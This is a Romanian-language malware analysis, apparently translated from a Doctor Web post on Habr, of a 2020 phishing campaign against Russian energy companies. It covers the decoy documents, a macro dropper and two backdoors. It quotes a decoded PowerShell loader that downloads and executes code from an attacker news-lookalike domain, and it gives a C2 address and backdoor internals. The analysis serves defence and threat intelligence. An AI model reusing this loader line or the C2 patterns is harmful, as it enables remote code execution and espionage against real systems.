Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Experiența noastră în investigarea incidentelor de securitate informatică arată că e-mailul este încă unul dintre cele mai frecvente canale folosite de atacatori pentru a pătrunde inițial în infrastructurile de rețea atacate. O acțiune neglijentă cu o scrisoare suspectă (sau nu atât de suspectă) devine un punct de intrare pentru infecția ulterioară, motiv pentru care infractorii cibernetici folosesc în mod activ metode de inginerie socială, deși cu grade diferite de succes.

În această postare dorim să vorbim despre investigația noastră recentă asupra unei campanii de spam care vizează o serie de întreprinderi din complexul rusesc de combustibil și energie. Toate atacurile au urmat același scenariu folosind e-mailuri false și nimeni nu părea să fi depus mult efort în conținutul text al acestor e-mailuri.

Serviciul de informații

Totul a început la sfârșitul lunii aprilie 2020, când analiștii de viruși Doctor Web au detectat o campanie de spam în care hackerii trimiteau un agendă telefonică actualizată angajaților mai multor întreprinderi din complexul rusesc de combustibil și energie. Desigur, aceasta nu a fost o simplă manifestare de îngrijorare, deoarece directorul nu era real, iar documentele .docx au descărcat două imagini din resursele de la distanță.

Una dintre ele a fost descărcată pe computerul utilizatorului de pe serverul news[.]zannews[.]com. Este de remarcat faptul că numele de domeniu este similar cu domeniul centrului media anticorupție din Kazahstan - zannews[.]kz. Pe de altă parte, domeniul folosit amintea imediat de o altă campanie din 2015, cunoscută sub numele de TOPNEWS, care folosea o ușă din spate ICEFOG și avea domenii de control troiene cu subșirul „știri” în numele lor. O altă caracteristică interesantă a fost că, atunci când trimiteau scrisori către diferiți destinatari, solicitările de descărcare a unei imagini foloseau fie parametri de cerere diferiți, fie nume unice de imagini.

Credem că acest lucru a fost făcut în scopul de a colecta informații pentru a identifica un destinatar „de încredere”, căruia i-ar fi garantat apoi că va deschide scrisoarea la momentul potrivit. Protocolul SMB a fost folosit pentru a descărca imaginea de pe al doilea server, ceea ce se putea face pentru a colecta hash-uri NetNTLM de pe computerele angajaților care au deschis documentul primit.

Și iată scrisoarea în sine cu directorul fals:

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

În iunie a acestui an, hackerii au început să folosească un nou nume de domeniu, sports[.]manhajnews[.]com, pentru a încărca imagini. Analiza a arătat că subdomeniile manhajnews[.]com au fost folosite în e-mailurile spam din septembrie 2019. Una dintre țintele acestei campanii a fost o mare universitate rusă.

De asemenea, până în iunie, organizatorii atacului au venit cu un nou text pentru scrisorile lor: de data aceasta documentul conținea informații despre dezvoltarea industriei. Textul scrisorii indica în mod clar că autorul ei fie nu era vorbitor nativ de rusă, fie crea în mod deliberat o astfel de impresie despre el însuși. Din păcate, ideile de dezvoltare a industriei, ca întotdeauna, s-au dovedit a fi doar o acoperire - documentul a descărcat din nou două imagini, în timp ce serverul a fost schimbat pentru a descărca[.]inklingpaper[.]com.

Următoarea inovație a urmat în iulie. În încercarea de a ocoli detectarea documentelor rău intenționate de către programele antivirus, atacatorii au început să folosească documente Microsoft Word criptate cu o parolă. În același timp, atacatorii au decis să folosească o tehnică clasică de inginerie socială - notificarea recompenselor.

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Textul contestației a fost din nou redactat în același stil, ceea ce a trezit suspiciuni suplimentare în rândul destinatarului. Nici serverul pentru descărcarea imaginii nu s-a schimbat.

Rețineți că, în toate cazurile, pentru trimiterea scrisorilor au fost folosite cutiile poștale electronice înregistrate pe domeniile mail[.]ru și yandex[.]ru.

Atac

Până la începutul lui septembrie 2020, era timpul pentru acțiune. Analiștii noștri de viruși au înregistrat un nou val de atacuri, în care atacatorii au trimis din nou scrisori sub pretextul actualizării unui agendă telefonică. Cu toate acestea, de data aceasta atașamentul conținea o macrocomandă rău intenționată.

La deschiderea documentului atașat, macro-ul a creat două fișiere:

  • Scriptul VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, care avea scopul de a lansa un fișier batch;
  • Fișierul batch însuși %APPDATA%configstest.bat, care a fost ofuscat.

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Esența muncii sale se rezumă la lansarea shell-ului Powershell cu anumiți parametri. Parametrii trecuți la shell sunt decodați în comenzi:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

După cum reiese din comenzile prezentate, domeniul din care este descărcată încărcătura utilă este din nou deghizat ca site de știri. O simpla încărcător, a cărui unică sarcină este să primească shellcode de la serverul de comandă și control și să-l execute. Am putut identifica două tipuri de uși din spate care pot fi instalate pe computerul victimei.

BackDoor.Siggen2.3238

Primul este BackDoor.Siggen2.3238 — specialiștii noștri nu s-au mai întâlnit înainte și nici nu au existat mențiuni despre acest program de către alți furnizori de antivirus.

Acest program este un backdoor scris în C++ și rulează pe sisteme de operare Windows pe 32 de biți.

BackDoor.Siggen2.3238 este capabil să comunice cu serverul de management folosind două protocoale: HTTP și HTTPS. Eșantionul testat utilizează protocolul HTTPS. Următorul User-Agent este utilizat în cererile către server:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

În acest caz, toate cererile sunt furnizate cu următorul set de parametri:

%s;type=%s;length=%s;realdata=%send

unde fiecare linie %s este înlocuită corespunzător cu:

  • ID-ul computerului infectat,
  • tipul cererii trimise,
  • lungimea datelor din câmpul realdata,
  • date.

În etapa de colectare a informațiilor despre sistemul infectat, ușa din spate generează o linie precum:

lan=%s;cmpname=%s;username=%s;version=%s;

unde lan este adresa IP a computerului infectat, cmpname este numele computerului, username este numele de utilizator, versiunea este linia 0.0.4.03.

Aceste informații cu identificatorul sysinfo sunt trimise printr-o solicitare POST către serverul de control situat la https[:]//31.214[.]157.14/log.txt. Dacă ca răspuns BackDoor.Siggen2.3238 primește semnalul HEART, conexiunea este considerată reușită, iar ușa din spate începe ciclul principal de comunicare cu serverul.

Descriere mai completă a principiilor de funcționare BackDoor.Siggen2.3238 este în nostru biblioteca de virusi.

BackDoor.Whitebird.23

Al doilea program este o modificare a ușii din spate BackDoor.Whitebird, deja cunoscută de la incidentul cu o agenție guvernamentală din Kazahstan. Această versiune este scrisă în C++ și este proiectată să ruleze atât pe sistemele de operare Windows pe 32 de biți, cât și pe 64 de biți.

Ca majoritatea programelor de acest tip, BackDoor.Whitebird.23 conceput pentru a stabili o conexiune criptată cu serverul de control și controlul neautorizat al unui computer infectat. Instalat într-un sistem compromis folosind un dropper BackDoor.Siggen2.3244.

Eșantionul pe care l-am examinat a fost o bibliotecă rău intenționată cu două exporturi:

  • Google Play
  • Test.

La începutul activității sale, decriptează configurația conectată în corpul ușii din spate folosind un algoritm bazat pe operația XOR cu octetul 0x99. Configurația arată astfel:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Pentru a asigura funcționarea sa constantă, ușa din spate modifică valoarea specificată în câmp ore de lucru configuratii. Câmpul conține 1440 de octeți, care iau valorile 0 sau 1 și reprezintă fiecare minut al fiecărei ore din zi. Creează un fir separat pentru fiecare interfață de rețea care ascultă interfața și caută pachete de autorizare pe serverul proxy de pe computerul infectat. Când un astfel de pachet este detectat, ușa din spate adaugă informații despre serverul proxy la lista sa. În plus, verifică prezența unui proxy prin WinAPI InternetQueryOptionW.

Programul verifică minutul și ora curentă și le compară cu datele din câmp ore de lucru configuratii. Dacă valoarea pentru minutul corespunzător al zilei nu este zero, atunci se stabilește o conexiune cu serverul de control.

Stabilirea unei conexiuni la server simulează crearea unei conexiuni folosind protocolul TLS versiunea 1.0 între client și server. Corpul ușii din spate conține două tampoane.

Primul buffer conține pachetul TLS 1.0 Client Hello.

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Al doilea buffer conține pachete TLS 1.0 Client Key Exchange cu o lungime a cheii de 0x100 de octeți, Change Cipher Spec, Mesaj de strângere de mână criptat.

Investigăm un atac de spionaj vizat asupra complexului rusesc de combustibil și energie

Când trimiteți un pachet Client Hello, ușa din spate scrie 4 octeți din ora curentă și 28 octeți de date pseudoaleatoare în câmpul Client Random, calculate după cum urmează:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Pachetul primit este trimis la serverul de control. Răspunsul (pachetul Server Hello) verifică:

  • conformitatea cu protocolul TLS versiunea 1.0;
  • corespondența marcajului de timp (primii 4 octeți ai câmpului pachet de date aleatoare) specificat de client cu marcajul de timp specificat de server;
  • potrivirea primilor 4 octeți după marcajul de timp din câmpul Date aleatorii al clientului și al serverului.

În cazul potrivirilor specificate, backdoor pregătește un pachet Client Key Exchange. Pentru a face acest lucru, modifică cheia publică din pachetul Client Key Exchange, precum și Criptarea IV și datele de criptare din pachetul de mesaje de strângere de mână criptate.

Ușa din spate primește apoi pachetul de la serverul de comandă și control, verifică dacă versiunea protocolului TLS este 1.0 și apoi acceptă alți 54 de octeți (corpul pachetului). Aceasta finalizează configurarea conexiunii.

Descriere mai completă a principiilor de funcționare BackDoor.Whitebird.23 este în nostru biblioteca de virusi.

Concluzie și concluzii

Analiza documentelor, a malware-ului și a infrastructurii utilizate ne permite să spunem cu încredere că atacul a fost pregătit de unul dintre grupurile chineze APT. Având în vedere funcționalitatea ușilor din spate care sunt instalate pe computerele victimelor în cazul unui atac de succes, infecția duce, cel puțin, la furtul de informații confidențiale de pe computerele organizațiilor atacate.

În plus, un scenariu foarte probabil este instalarea de troieni specializati pe servere locale cu o funcție specială. Acestea ar putea fi controlere de domeniu, servere de e-mail, gateway-uri de internet etc. După cum am putea vedea în exemplu incident în Kazahstan, astfel de servere prezintă un interes deosebit pentru atacatori din diverse motive.

Sursa: www.habr.com